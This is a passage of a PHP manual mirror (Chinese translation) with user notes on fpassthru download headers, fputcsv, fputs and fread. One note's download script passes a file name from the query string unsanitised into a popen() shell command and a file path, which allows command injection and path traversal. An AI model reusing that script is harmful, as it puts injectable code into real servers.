       $buf = fread($fp, 4096);
       echo $buf;
       $bytesSent+=strlen($buf);    /* We know how many bytes were sent to the user */
   }
?>

I've then got this code to update my database to say that the file was downloaded successfully.

<?
   if($bytesSent==filesize($file)) {
       /* Do some cool stuff here! */
   }
?>
nexz2004 at yahoo dot com
21-May-2004 03:30
also it is possible to make your php script resume downloads, to do this you need to check $_SERVER['HTTP_RANGE'] which may contain something like this
 "bytes=10-" - resume from position 10, and to end of file

when sending response it is also needed to send with headers
Accept-Ranges: bytes
Content-Length: {filesize}
Content-Range: bytes 10-{filesize-1}/{ffilesize}

hope its usefull
axx at axxess dot ca
16-Feb-2004 05:04
I have also perused this list of examples which I am sure work for that person, but, as others have mentioned here, do not work for me or (anyone else).

So what I did was try out all of these examples, check other sources of information, and put together what I think to be an example of what works on 'more than a few' systems.  The following example works for me wherever I need to create a download using fpassthru(), which works with IE6 (among other browsers):

<?
/*/
Download a file using fpassthru()
/*/
$fileDir = "/home/pathto/myfiles"; // supply a path name.
$fileName = "myfile.zip"; // supply a file name.
$fileString=$fileDir.'/'.$fileName; // combine the path and file
// translate file name properly for Internet Explorer.
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")){
  $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
}
// make sure the file exists before sending headers
if(!$fdl=@fopen($fileString,'r')){
   die("Cannot Open File!");
} else {
  header("Cache-Control: ");// leave blank to avoid IE errors
  header("Pragma: ");// leave blank to avoid IE errors
  header("Content-type: application/octet-stream");
  header("Content-Disposition: attachment; filename=\"".$fileName."\"");
  header("Content-length:".(string)(filesize($fileString)));
   sleep(1);
   fpassthru($fdl);
}
?>

All that should require editing is the $fileDir and $fileName variables.  Upload the file and point to it with your browser to see if the script will prompt you for a download.

NOTE : Regarding File Types : Leaving the 'Content-type' header as-is should allow you to download pretty much any file.  I have tested it on some of the more popular file types including zip, css, php, inc, htm, png, gif and jpg.  During these tests, I did note that if I selected 'cancel' or 'open' when prompted to download either a gif or jpg, that it would indeed cancel or open in my image browser as it should, but subsequent attempts at 'downloading only' yielded a web page view of the image.  Closing the window and opening a new one reset this, allowing me save a jpeg or gif to the hard drive directly.  I believe the problem lies in the way the caching headers are treated, since if any info is specified in the 'cache-control' header, the browser download fails completely (in IE, anyways).

Enjoy! Mail me if it works!  ;-)
mm at tbwachiat dot com
17-Jan-2004 09:00
I've tried all of these renditions of this elusive task.  NONE of them have worked for me.  And when i say work, i mean where i can click some sort of link and have a file Save As... dialog box come up on MSIE 6.0.  In every other browser i've tried (Safari,Firebird,Netscape pc and mac) all have worked where it downloads to my desktop or asks me to save it in a certain place.

on MSIE 6.0.  the file i'm trying to download appears in it's own window. it's an image. BUT, the only thing i can do with it is SAVE IT AS A BMP. ugh.

I'm using the fpassthru function because i have files that must not be served by the webserver.
The Otter
11-Jan-2004 01:57
In reply to spam at flatwan dot net
This might save someone some time. I created a program to list some rather large files and create links for the end user to click on in order to download them (using the php function fpassthru()).

The problem I was having was it would make it half way through the download (about 377 megs) and the script would terminate and the download would stop.

After doing some shotgun troubleshooting I discovered the php config option 'max_execution_time = 30'. Upon changing it to 'max_execution_time = -1' the files >370 megs can be downloaded without the script aborting.

The best way to do this would to be:
<?php
@ignore_user_abort();
@set_time_limit(0);
?>
This only changes these settings for the script that calls them. (Thanks to (I don't remember who) who wrote a form mail script that used these two lines)
spam at flatwan dot net
19-Nov-2003 08:07
This might save someone some time. I created a program to list some rather large files and create links for the end user to click on in order to download them (using the php function fpassthru()).

The problem I was having was it would make it half way through the download (about 377 megs) and the script would terminate and the download would stop.

After doing some shotgun troubleshooting I discovered the php config option 'max_execution_time = 30'. Upon changing it to 'max_execution_time = -1' the files >370 megs can be downloaded without the script aborting.

Jon
arabold AT nero DOT com
15-May-2003 07:11
Here's a summary the different headers you need to set to make downloads *always* work with IE and Mozilla:

[SNIP]
  $disposition = "inline"; // "inline" to view file in browser or "attachment" to download to hard disk
  $mime = "image/jpeg"; // or whatever the mime type is
  $name = "foo.jpg"; // file name
  $path = "/path/to/foo.jpg"; // full path and file name

  if (isset($_SERVER["HTTPS"])) {
     /**
       * We need to set the following headers to make downloads work using IE in HTTPS mode.
       */
     header("Pragma: ");
     header("Cache-Control: ");
     header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
     header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
     header("Cache-Control: no-store, no-cache, must-revalidate"); // HTTP/1.1
     header("Cache-Control: post-check=0, pre-check=0", false);
  }
     else if ($disposition == "attachment") {
         header("Cache-control: private");
  }
  else {
     header("Cache-Control: no-cache, must-revalidate");
     header("Pragma: no-cache");
  }
  header("Content-Type: $mime");
  header("Content-Disposition:$disposition; filename=\"".trim(htmlentities($name))."\"");
  header("Content-Description: ".trim(htmlentities($name)));
  header("Content-Length: ".(string)(filesize($path)));
  header("Connection: close");
[/SNIP]

This way all kinds of download work for me. Hope that helps
DarkAngela_ at hotmail dot com
08-May-2003 07:48
Just a little thing more from the ssharma's script (thx to him for his great help ...) :

Don't forget to put the fopen with the "rb" argument and not just with the "r"
or you won't be able to make the script work with all pdf file.

My final script (working for Open and Save on a 1.9 Mb complex PDF file) :

<?php
//The filename is stored in the $produitFilename variable in my script (the only thing you need)

// You need to specify the REAL path for your file and not the URL
$fullPath    = getcwd()."./directory_where_the_file_is/".$produitFilename;

if ($fd = fopen ($fullPath, "rb")) {
   $fsize    =filesize($fullPath);
   $fname    = basename ($fullPath);

   header("Pragma: ");
   header("Cache-Control: ");
   header("Content-type: application/octet-stream");
   header("Content-Disposition: attachment; filename=\"".$fname."\"");
   header("Content-length: $fsize");

   fpassthru($fd);
}
?>

Have fun and thx u all 4 ur great help ...

Simon (from Paris - France)
Omega2k at web dot de
27-Mar-2003 09:07
To throttle download-speed of specific files this works fine in my board hosted on my local machine:

//#######################################
 $big_file=filesize($completeFilePath)/1024; //size of file in kb
 header('Content-Type: '.$mime_type);
 header('Content-disposition: '.$content_disp.'filename="'.$attachment_name.'"');
 header('Cache-Control: no-cache');
 header('Pragma: no-cache');
 header('Expires: 0');
 header('Content-Length: '.(string)(filesize($completeFilePath)));
 $fp=fopen($completeFilePath,'r');
 while(!feof($fp)) {
     $buffer = fread($fp, 1024*6); //speed-limit 6kb/s
     if ($big_file>32 &&
     $extension!="jpg" &&
     $extension!="jpeg" &&
     $extension!="gif" &&
     $extension!="png" &&
     $extension!="txt")
     sleep(1); //if filesize>32kb and no smallfile like jpg,gif or so - wait 1 second
     print $buffer;
 }
 fclose($fp);
 header ("Connection: close");
//#######################################

I think it's the easiest way to slow down downloading files without using a loop or for-next - this really saves performace of php and is quite exact by using 1024*number_of_kb in one second...

Thats all

Greetings, omega2k.dynu.com
brett at NOSPAM dot brettbrewer dot com
05-Feb-2003 06:49
The above method worked for me after trying everything else imaginable to get Explorer to download a file via PHP. However, I had to change the content-length line. No need to "stringify" the $size variable as in the above post. The method below works for both small and very large file (tested on files larger than 30MB with no probs)...

<?php
$distribution="/path/to/a/file.exe"
if ($fd = fopen ($distribution, "r")){

         $size=filesize($distribution);
         $fname = basename ($distribution);

//This is some really weak code I used just to redirect to the file before I fixed
//this problem...it makes the browser handle the download via Apache instead of PHP
//but it would be really easy to then find out the true location of the file

               //header("Location: $distribution");
             //fclose ($fd);
             //exit;

//below is a much better way to do it...

     header("Pragma: ");
     header("Cache-Control: ");
     header("Content-type: application/octet-stream");
     header("Content-Disposition: attachment; filename=\"".$fname."\"");
     header("Content-length: $size");

         while(!feof($fd)) {
               $buffer = fread($fd, 2048);
               print $buffer;
         }
         fclose ($fd);
         exit;
}
?>

Good luck.
Brett Brewer.
ssharma at remove_me dot odc dot net
13-Dec-2002 10:01
I was having a hard time getting IE to download stuff through an ssl (https) link.  I finally found a bug report that said you need to clear out the Pragma and Cache-Control headers or else it won't send.  Here's the important part of my download script.

$contentType='application/octet-stream';
header("Pragma: ");
header("Cache-Control: ");
header("Content-type: $contentType");
header("Content-Disposition: attachment; filename=\"".$filename."\"");
header("Content-length:".(string)(filesize($fullfilepath)));

$fd=fopen($fullfilepath,'r');
fpassthru($fd);

This works perfectly over http and https in both Mozilla and IE6.  Obviously $filename just has the name of the file and $fullfilepath has the complete file system path to the file.
weezernation dot com
10-Dec-2002 12:56
When using readfile()  -or fopen() and fpassthru() - make sure that if you are dealing with large files that are located on your server, use absolute paths and not URL's! Otherwise, the file will essentially be downloaded twice - the script will access the file from your web server itself, and then output it to the client, doubling the bandwidth. I made this mistake in a download script I made that included files on other servers, when the file was on mine, I forgot to use absolute paths. So, even for good practice if your files you're accessing are small, use absolute paths whenever possible. Seems obvious, but don't forget about it.
shaun at nospam dot phplabs dot com
30-Nov-2002 08:41
Note that if you use these two headers from a previous example:

header('Cache-Control: no-cache, must-revalidate');
header('Pragma: no-cache');

before sending a file to the browser, the "Open" option on Internet Explorer's file download dialog will not work properly. If the user clicks "Open" instead of "Save," the target application will open an empty file, because the downloaded file was not cached. The user will have to save the file to their hard drive in order to use it.

Make sure to leave these headers out if you'd like your visitors to be able to use IE's "Open" option.
john at bvstudios dot com
22-Nov-2002 04:05
In reply to:

"3. Through no amount of futzing of headers was I able to get the filename to be set properly when the actual transfer was initiated via a refresh (META or via headers).  I don't know if this is also an MSIE only issue or not.  If 'download.php?dl=now' (for example) had a refresh back to 'download.php', such that it was intended to show some information (e.g. install instructions) as well as launch the download, then the MSIE insisted that the downloaded file was supposed to be named 'download.php?dl=now' or 'download.php', ignoring the filename in the headers."

I recently had the exact same issue.  What I found is that this was due to my session initialization on the page.  For some reason doing a session_start() caused the script to try and download itself, not what I was indicating through various header() calls.

The solution was to move the download portion above the session initialization.  At first glance this may seem dangerous, but I only process it if there are POST vars and the script is reloading itself.  This way I know the form was submitted by that page and before they can submit it, they have to have a session!  Adding an .htaccess rule to deny all for the directory where the files are stored also helps because then only my script can access the files.
mikek at nospam dot muonics dot c o m
05-Nov-2002 06:07
Found a workaround to another headache that just cropped up tonight.  Apparently Opera 6.1 on Linux (unsure of other versions/platforms) has problems downloading files using the above methods if you have enabled compression via zlib.output_compression in php.ini.

It seems that Opera sees that the actual transfer size is less than the size in the "Content-length" header for the download and decides that the transfer was incomplete or corrupted.  It then either continuously retries the download or else leaves you with a corrupted file.

Solution:  Make sure your download script/section is off in its own directory. and add the following to your .htaccess file for that directory:

php_flag zlib.output_compression off
claude_minette at hotmail dot com
30-Oct-2002 07:51
This code works fine with a download manager... maybe not the best solution, but the only one that works with IE!!!!!

It forces download, but gif file don't want to be downloaded!!! so I need to simply display them in browser...

NB $file is the result of a query on the file table...

require_once("auth.inc.php");
$attachment = (strstr($HTTP_USER_AGENT, "MSIE")) ? "" : " attachment"; // IE 5.5 fix.
//Content of file
if (!headers_sent()){
   $ficexp=explode('.',$file["orig_name"]);
   $ext=$ficexp[sizeof($ficexp)-1];
   if ($ext!='gif'){
           header('Cache-Control: no-cache, must-revalidate');
           header('Pragma: no-cache');
           header("Content-Type: application/force-download");
           header("Content-Length: ".filesize("files/".$file["save_name"]));
           header("Content-Disposition: ".$attachment."; filename=".$file["orig_name"]);
   }
   $fn=fopen("files/".$file["save_name"], "rb");
   fpassthru($fn);
}
else {
   MessageBox('Headers already sent, cannot force download!');
}

Min's
mikek at muonics dot nospam dot c dot o
07-Oct-2002 06:44
Found a workaround for the MSIE cache bug that puts brackets around dotted items I posted about a while back (e.g. "somefile1.0-xyz.zip" becoming "somefile[1][0]-xyz.zip").

It turns out if you encode all but the last dot as %2e, then MSIE won't do this.  If you encode all of them (including the last dot), then MSIE sticks an extra bracketed number at the end of the file (e.g. "somefile1.0-xyz.zip[1]").  Unfortunately, however, some other browsers then want to save the file with the %2e in the filename instead of the dots.

if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE"))
{
   $fileName = preg_replace('/\./', '%2e', $fileName,
       substr_count($fileName, '.') - 1);
}

Viola.  Properly named files.  This works at least with MSIE 6.0.
mikek at muonics dot nospam dot c dot o
04-Oct-2002 11:48
If your downloaded files are getting corrupted, one of the scripts included/required in your download script or page may have whitespace around the <?php ?> tags.  A common enough problem, but most often recognized when header() fails, due to headers already being sent, but one worth mention here.

This one bit me just recently with my download script.  Somewhere along the way adding functionality to my website, I wound up with a space (not a blank line, which I usually spot right away, but a single space character) after the closing ?> tag in one of the require()'d files.  Oddly enough, all the downloads seemed to work ok, but the files were corrupted: that space character wound up at the beginning of each file.
mikek at muonics dot nospam dot c dot o dot m
16-Sep-2002 10:07
Replies to the above (10-Sep-2002 05:38 and 10-Sep-2002 06:17) anon posts:

10-Sep-2002 05:38 -- Using temporary redirects in the manner you describe only work if you have the files in a location which are directly accessible by a regular HTTP request (temporarily or not).  This isn't an effective solution for me, because it is a specific requirement of my implementation that certain files are accessible only through PHP: user permissions for downloading files are handled via PHP and a user/license database instead of traditional .htaccess methods.  In the past (before PHP) I used CGI scripts to create temporary per-downloader symlinks to the files and generated .htaccess files, along with htpasswd/group files, but it was a sloppy method because the symlinks would linger (or be deleted prematurely), and wasn't conducive to online order processing etc.  This method (via fpassthru()) is much better: there is no direct access to any file, by design.

10-Sep-2002 06:17 - My implementation does set the Content-Length header.  It does not help.  Some browsers' download dialogs still linger for 15-30 seconds after the download is complete, leading some users to think the download has stalled and to reinitiate it.  In those browsers where this has been a problem and I've tested it, the "Connection: close" header has worked great.  It's not abused: the download manager implementation is such that the header is sent only for HTTP requests that directly result in the download occuring.  It might be worthwhile investigating whether or not there is a php hook into the server's watchdog timer so that it can be set on a per-script basis and use that; but setting it to a low value globally seems just as bad as sending "Connection: close" for every page would be.
10-Sep-2002 08:17
Note that the above comment about the "Connection: close" header is incorrect: it does not guarantee that the connection will be closed immediately after the transfer is complete. Instead, it informs the client that it can no longer use the existing HTTP connection to perform other HTTP requests on the same server, and that the client MUST close the connection as soon as it has finished handling the current request.

If the client (for example an old HTTP proxy) is using HTTP/1.0, it may not recognize this header, and could could the connection open; the web server should detect this and close the connection and ignore any further request attempt on that connection.

HTTP/1.1 clients MUST honor this header and close their connection as soon as they detect the end of the answer.

In any case, the web server will initiate a watchdog after script completion, and will force the deconnection after about 15 to 30 seconds if the client does not honor this header.

The exact time to wait for the "socket closed by remote" event is configurable in the web server.

It is generally smaller when the "Connection: close" header has been sent by the server, than when no "Connection:close" has been sent (in which case the connection persists for longer time, to let the client navigate on the server without enduring new connection costs in terms of: connection delays, number of socket control blocks in final wait state, number of used ports).

Don't abuse "Connection: close" on your server for every hosted page: this creates more incoming TCP connection attempts than necessary, and slows the navigation on your site. Use it only if your script cannot generate explicit content length in the result header, as the client will have difficulties to determine the end of the results.

If you want to save connection resources to your server, always send an Explicit "Content-Length" header within your script, or use the "chunked" transfer-encoding to explicitly send the result by delimited fragments (if the client is using HTTP/1.1, it MUST support this chunked transfer encoding, per specification). See RFC2616 for details.
10-Sep-2002 07:38
fpassthru() works best for small files. In download manager scripts, it's best to determine the URL of the file to download (you may generate it locally in your session data if you need so), and then use HTTP __temporary__ redirects (302 status code, with a "Location:" header specifying the effective download URL).

This saves your web server from maintaining PHP scripts running for long times during the file downloadn and instead the download will be managed directly by the web server without scripting support (consequence: less memory resources used by parallel downloads)...
me at gavinadams dot org
30-Aug-2002 10:06
Interesting results using fpassthru() vs. fread() under UNIX.

Using fread(fp, length) to read from a valid, open pointer, in which the filename has a special character (single quote, comma, open paren, etc) fails on the read (no debug statements written after that). However, using fpassthru() works like a champ.

Thanks for the helpful notes on IE session info, have seen this before but didn't know what was causing it.
mikek at muonics dot nospam dot c dot o dot m
25-Aug-2002 12:14
A few notes on using fpassthru() to php-driven download links that pop up a "Save As.." dialog:

1. I found that the download progress dialog was remaining up for several seconds after the transfer was completed, before telling the user it was complete.  This was fixed by adding the following header:

header ("Connection: close");

This will cause the connection to be closed as soon as the transfer is complete, rather than waiting for a timeout.

2. If you have multiple periods in the filename, you might wind up with a filename with numbers in brackets (such as myfile-[1][0]-windows.zip when you put myfile-1.0-windows.zip in the headers) with MSIE.  According to Microsoft's KB, his is a "known" bug having to due with MSIE's cache and there's no workaround that I was able to find.

3. Through no amount of futzing of headers was I able to get the filename to be set properly when the actual transfer was initiated via a refresh (META or via headers).  I don't know if this is also an MSIE only issue or not.  If 'download.php?dl=now' (for example) had a refresh back to 'download.php', such that it was intended to show some information (e.g. install instructions) as well as launch the download, then the MSIE insisted that the downloaded file was supposed to be named 'download.php?dl=now' or 'download.php', ignoring the filename in the headers.
-
25-Jul-2002 07:37
If you trying to output a user-written file on a page for verifying, editing, etc, you'll want to use fopen(), fread(), htmlentities() to avoid malicious code. Text from fpassthru, while not parsed per se can still mess up the display of a page (or at least it did for me!) --mt.
josh at trutwins dot homeip dot net
24-Apr-2002 08:03
I could not get the above examples to work.  This is what I used instead:

header("Content-Disposition: attachment; filename=$file");
header("Content-Description: Image File");
$fd = fopen($file,'r');
fpassthru($fd);
php at brayra dot com
05-Apr-2002 04:25
Here is a final working copy that won't freak out Microsoft Explorer if you are using sessions. Thanks to everyone else who came before. This is not as simple as I thought it would be.

the user would pass a call to the page:
http://mysite/getfile.php?file=products.pdf

include 'base.inc'; // inlcude base code, start session  and manage users

// This loads the file global from the post/get variables
// For security reasons register globals is disabled
LoadPostGet('file');

$filename = '/data/files/' . $file;
if(file_exists($filename)){
  $FILECMD = '/usr/bin/file';
  $contentType = '';
  $fp=popen("$FILECMD -bin $filename", 'r');
  if (!$fp) $contentType='application/octet-stream';
  else {
   while($string=fgets($fp, 1024)) $contentType .= $string;
   pclose($fp);
  }
  if(strpos($HTTP_SERVER_VARS['HTTP_USER_AGENT'], 'MSIE')){
   // IE cannot download from sessions without a cache
   header('Cache-Control: public');
  }
  header("Content-type: $contentType");
  header("Content-Disposition:inline; filename=\"".$file."\"");
  header("Content-length:".(string)(filesize($filename)));
  $fd=fopen($filename,'rb');
  while(!feof($fd)) {
   print fread($fd, 4096);
  }
  fclose($fd);
}else{
  print "File Not Found";
}
mirko at mcaserta dot com
23-Jan-2002 09:07
Update to the above. This also sets the correct mime type for the file you're sending. It's a small hack since it relies on the "file" system command but it should work well.

<?
// full path to the file command
$FILECMD='/usr/bin/file';
// directory where the file resides
$fileDir='/home/mcaserta';
// full file name
$fileName='test.sh';

// END CONFIG

$completeFilePath=$fileDir.'/'.$fileName;
$fp=popen("$FILECMD -bin $completeFilePath", 'r');

if (! $fp) $contentType='application/octet-stream';
else {
  while($string=fgets($fp, 1024)) $contentType .= $string;
  pclose($fp);
}

header('Content-type: '.($contentType));
header('Content-Disposition: inline; filename="'.($fileName).'"');
header('Content-length: '.(string)(filesize($completeFilePath)));
$fd=fopen($completeFilePath,'r');
fpassthru($fd);
?>
mirko at mcaserta dot com
17-Jan-2002 03:34
To display a "Save as..." box which displays the name of the file you're sending to the user:

<?
$completeFilePath=$fileDir.'/'.$fileName;
header('Cache-Control: no-cache, must-revalidate');
header('Pragma: no-cache');
header("Content-type: application/octet-stream\nContent-Disposition: inline; filename=\"".$fileName."\"\nContent-length: ".(string)(filesize($completeFilePath)));
$fd=fopen($completeFilePath,'r');
fpassthru($fd);
?>

The first two header calls are only needed to make sure the client doesn't cache the document.
straz at -removethispart-mac dot com
15-Jan-2002 04:22
I wrote a page which authenticates the user, then calls fpassthru() to download an Acrobat document. It worked great up to about 1MB, but for larger files, the script was dying in the middle. My ISP told me they were killing my script because it was a memory hog. I tried readfile() instead, to no avail.

I replaced the fpassthru() with this workaround. It works great:

 while(!feof($fn)) {
   $buffer = fread($fn, 4096);
   print $buffer;
 }
cgriffin at websales dot com
31-Oct-1999 07:56
If you open a new file, write to it and then call fpassthru() it doesn't work. You need to call rewind() first to set the file pointer to the begining of the file.
add a note add a note

后退 | 起点 | 前进
fopen | 上一级 | fputcsv


fputcsv

(PHP 5 >= 5.1.0RC1)

fputcsv -- 将行格式化为 CSV 并写入文件指针

说明

int fputcsv ( resource handle [, array fields [, string delimiter [, string enclosure]]] )

fputcsv() 将一行（用 fields 数组传递）格式化为 CSV 格式并写入由 handle 指定的文件。返回写入字符串的长度，出错则返回 FALSE。

可选的 delimiter 参数设定字段分界符（只允许一个字符）。默认为逗号：,。

可选的 enclosure 参数设定字段字段环绕符（只允许一个字符）。默认为双引号："。

例子 1. fputcsv() 例子

<?php

$list = array (
    'aaa,bbb,ccc,dddd',
    '123,456,789',
    '"aaa","bbb"'
);

$fp = fopen('file.csv', 'w');

foreach ($list as $line) {
    fputcsv($fp, split(',', $line));
}

fclose($fp);
?>

注: 如果碰到 PHP 在读取文件时不能识别 Macintosh 文件的行结束符，可以激活 auto_detect_line_endings 运行时配置选项。

参见 fgetcsv()。

add a note add a note User Contributed Notes
heather at heathercash dot com
26-Sep-2005 07:18
Here is an adaptation to boonerunner's function for fputcsv.
It uses a 2-dimensional array.
Each sub-array is a line in the csv file which then ends up being seperated by commas.

function fputcsv($filePointer,$dataArray,$delimiter=",",$enclosure="\""){
   // Write a line to a file
   // $filePointer = the file resource to write to
   // $dataArray = the data to write out
   // $delimeter = the field separator

   // Build the string
   $string = "";

   // for each array element, which represents a line in the csv file...
   foreach($dataArray as $line){

       // No leading delimiter
       $writeDelimiter = FALSE;

       foreach($line as $dataElement){
           // Replaces a double quote with two double quotes
           $dataElement=str_replace("\"", "\"\"", $dataElement);

           // Adds a delimiter before each field (except the first)
           if($writeDelimiter) $string .= $delimiter;

           // Encloses each field with $enclosure and adds it to the string
           $string .= $enclosure . $dataElement . $enclosure;

           // Delimiters are used every time except the first.
           $writeDelimiter = TRUE;
       }
       // Append new line
       $string .= "\n";

   } // end foreach($dataArray as $line)

   // Write the string to the file
   fwrite($filePointer,$string);
}
boonerunner at hotmail dot com
16-Sep-2005 10:47
Here is an adaption of the above code that adds support for double quotes inside a field. (One double quote is replaced with a pair of double quotes per the CSV format).

<?php
 function fputcsv($filePointer,$dataArray,$delimiter,$enclosure)
  {
  // Write a line to a file
  // $filePointer = the file resource to write to
  // $dataArray = the data to write out
  // $delimeter = the field separator

  // Build the string
  $string = "";

  // No leading delimiter
  $writeDelimiter = FALSE;
  foreach($dataArray as $dataElement)
   {
   // Replaces a double quote with two double quotes
   $dataElement=str_replace("\"", "\"\"", $dataElement);

   // Adds a delimiter before each field (except the first)
   if($writeDelimiter) $string .= $delimiter;

   // Encloses each field with $enclosure and adds it to the string
   $string .= $enclosure . $dataElement . $enclosure;

   // Delimiters are used every time except the first.
   $writeDelimiter = TRUE;
   } // end foreach($dataArray as $dataElement)

  // Append new line
  $string .= "\n";

  // Write the string to the file
  fwrite($filePointer,$string);
  }
?>
twebb at boisecenter dot com
21-Jan-2005 09:54
What about cells that span multiple lines?  This function allows for cells to contain newlines:

function fputcsv($handle, $row, $fd=',', $quot='"')
{
   $str='';
   foreach ($row as $cell)
   {
     $cell = str_replace($quot, $quot.$quot, $cell);

     if (strchr($cell, $fd) !== FALSE || strchr($cell, $quot) !== FALSE || strchr($cell, "\n") !== FALSE)
     {
         $str .= $quot.$cell.$quot.$fd;
     }
     else
     {
         $str .= $cell.$fd;
     }
   }

   fputs($handle, substr($str, 0, -1)."\n");

   return strlen($str);
}

I found this reference on the web:
http://www.creativyst.com/Doc/Articles/CSV/CSV01.htm
drew at zitnay dot com
23-Nov-2004 01:42
I found the following problems with the below function:

- when calling str_replace(), you must assign $cell the return value or nothing gets saved

- when using strchr(), you should explicitly check !== FALSE, or it'll treat a return value of 0 (found the character at string position 0) as FALSE

- Excel seems to quote not only fields containing commas, but fields containing quotes as well, so I've added another strchr() for quotes; I'm not saying Microsoft knows the correct way for sure, but it seems reasonable to me

- the original function put a space after each comma; that might be legal, I don't know, but I've never seen it (and I don't think it is, because then how would you indicate you wanted a field to start with a space other than by quoting it?)

- the original function didn't correctly return the length of the data outputted

Here's the function, fixed up a bit:

function fputcsv($handle, $row, $fd=',', $quot='"')
{
   $str='';
   foreach ($row as $cell) {
       $cell=str_replace(Array($quot,        "\n"),
                         Array($quot.$quot,  ''),
                         $cell);
       if (strchr($cell, $fd)!==FALSE || strchr($cell, $quot)!==FALSE) {
           $str.=$quot.$cell.$quot.$fd;
       } else {
           $str.=$cell.$fd;
       }
   }

   fputs($handle, substr($str, 0, -1)."\n");

   return strlen($str);
}

Drew
arthur.at.korn.ch
20-Nov-2004 01:56
The function in the prior comment doesn't escape quotes in fields, here mine:

function fputcsv($handle, $row, $fd=',', $quot='"')
{
   $str='';
   foreach ($row as $cell) {
       str_replace(Array($quot,        "\n"),
                   Array($quot.$quot,  ''),
                   $cell);
       if (strchr($cell, $fd)) {
           $str.=$quot.$cell.$quot.$fd.' ';
       } else {
           $str.=$cell.$fd.' ';
       }
   }

   fputs($handle, substr($str, 0, -2)."\n");

   return $str-1;
}
arthur at mclean dot ws
12-Nov-2004 06:10
Here's a simplistic fputcsv function that you can use until the real one gets out of CVS:

function fputcsv($filePointer, $dataArray, $delimiter, $enclosure){
     // Write a line to a file
     // $filePointer = the file resource to write to
     // $dataArray = the data to write out
     // $delimeter = the field separator

     // Build the string
     $string = "";
     $writeDelimiter = FALSE;
     foreach($dataArray as $dataElement){
       if($writeDelimiter) $string .= $delimiter;
       $string .= $enclosure . $dataElement . $enclosure;
       $writeDelimiter = TRUE;
       } // end foreach($dataArray as $dataElement)

     // Append new line
     $string .= "\n";

     // Write the string to the file
     fwrite($filePointer, $string);

     } // end function fputcsv($filePointer, $dataArray, $delimiter)
add a note add a note

后退 | 起点 | 前进
fpassthru | 上一级 | fputs


fputs

(PHP 3, PHP 4, PHP 5)

fputs -- fwrite()的别名

说明

本函数是该函数的别名：fwrite()。

add a note add a note User Contributed Notes
stalker at ruun dot de
15-Sep-2005 03:08
as a continue of rembert:
so you should always use strlen($cmd) as third parameter if you use fsockopen -- because nearly everything you write e.g. in telnet or ssh has 2 or more "words".

(proud user of php4)

grz stalker
rembert at floating-point dot nl
21-Nov-2002 08:03
Adding to Adam (Nedstat):
fputs without the length parm just writes all data up to but not including the first 0 byte it encounters.

Therefore fputs($fp,"hello\0world") will only write hello to $fp whereas
fputs($fp,"hello\0world",11) will write both words.

If this doesn't make sense for you, remember strings are always terminated with that 0 byte. Binary data doesn't have such a terminator byte as a 0 byte can be a completely valid piece of data therefore you always need to know the length of the binary datapart.

BTW strlen() is binary safe, so you can use that to get the length of the binary data part as well - this is different from C which counts the number of chars up to the 0 byte. So the example above could also be written as:

fputs($fp,"hello\0world",strlen("hello\0world"))
yvan dot rivard at cesart dot com
18-Apr-2001 05:52
This might seem silly for experienced users, but this bugged me for about two hours (searching and trying to debug the damn thing).

If you're on a Windows system doing tests on a Linux/Apache setup, and you're writing stuff to a text file (then load that file to see if your content is being written properly) and you realize only your first string is in there, your problem is not your Windows, not Linux and not Apache. It's probably Samba (the thing that makes it possible for your Linux and Windows boxes to talk to each other) that's caching your file... Try viewing your file via telnet or simply copy your file then read that copy.

You can see content is being written to your file anyway, because even though you don't see your new content (using notepad for example), you do see your filesize increasing as you add more text to your file.
08-Oct-2000 03:07
You can use here-documents in PHP but not for printing to a file pointer.

There's a lot to say on them so just go to the page: http://www.php.net/manual/language.types.string.php
Doug at Here dot Com
01-Jul-2000 08:46
The way I understand fputs (which is purported as an alias to fwrite which can be "Binary Safe")...

$fp = fopen("something.txt","w");
$string = "Hello World\\n";  // escape the slash from being magically
// being transformed into a newline
fwrite($fp, $string); // will proccess /n as newline ...
fwrite($fp, $string, strlen($string)); // will write the entire string to file without changing the '/n'
// into a single byte for newline on Unix-like machines or CR/LF on Win32 machines

Hope this helps explain the definition of "could be Binary Safe". This is the reason why you must specify the length!

--Doug
adam at nedstat dot nl
16-Jun-1999 11:19
A note about including length: if you are writing binary data you should *always* specify the data's length.  The reason is that the operating system has a special character to denote end of *strings*, but not for binary data.  Binary data can be anything, so you can't very well reserve an end-of-data character.  So the reason why writing binary data without specifying it's length can truncate it is that the only thing the system has to go on (without writing the entire contents of memory starting at the variable's address) is the end-of-string character, which could very well appear randomly in the middle of your set of binary data.  The reason that length() could have worked on the variable is that it is implemented in C as sizeof(), which actually fetches the size of the memory chunk associated with the variable, but this is not advisable because sizeof() can also return the size of the *pointer* to the variable if you're not careful (ie, passing it by reference into a second function).  In C it's best to keep track of size of the data you are accumulating as you accumlate it, so probably in PHP, too.
bschuetz at affinity dot net
23-Dec-1998 11:30
Length is required if you are writing out a lot of data.  For instance, if you are base64 decoding an email attachment and writing it out to a file you have to specify the length if the file is over a certian size or else the binary data will be corrupt.

fputs($fp,$binary,strlen($binary));

Will yield the desired results.

When tested with a 1k the length wasn't required but with a larger file, around 27k it needs the length to work properly.
add a note add a note

后退 | 起点 | 前进
fputcsv | 上一级 | fread


fread

(PHP 3, PHP 4, PHP 5)

fread -- 读取文件（可安全用于二进制文件）

说明

string fread ( int handle, int length )

fread() 从文件指针 handle 读取最多 length 个字节。 该函数在读取完 length 个字节数，或到达 EOF 的时候，或（对于网络流）当一个包可用时就会停止读取文件，视乎先碰到哪种情况。

// get contents of a file into a string
$filename = "/usr/local/something.txt";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize ($filename));
fclose($handle);

警告

在区分二进制文件和文本文件的系统上（如 Windows）打开文件时，fopen() 函数的 mode 参数要加上 'b'。

$filename = "c:\\files\\somepic.gif";
$handle = fopen($filename, "rb");
$contents = fread($handle, filesize ($filename));
fclose($handle);

警告

当从网络流或者管道读取时，例如在读取从远程文件或 popen() 以及 proc_open() 的返回时，读取会在一个包可用之后停止。这意味着你应该如下例所示将数据收集起来合并成大块。

<?php
$handle = fopen ("http://www.example.com/", "rb");
$contents = "";
while (!feof($handle)) {
  $contents .= fread($handle, 8192);
}
fclose($handle);
?>

注: 如果你只是想将一个文件的内容读入到一个字符串中，用 file_get_contents()，它的性能比上面的代码好得多。

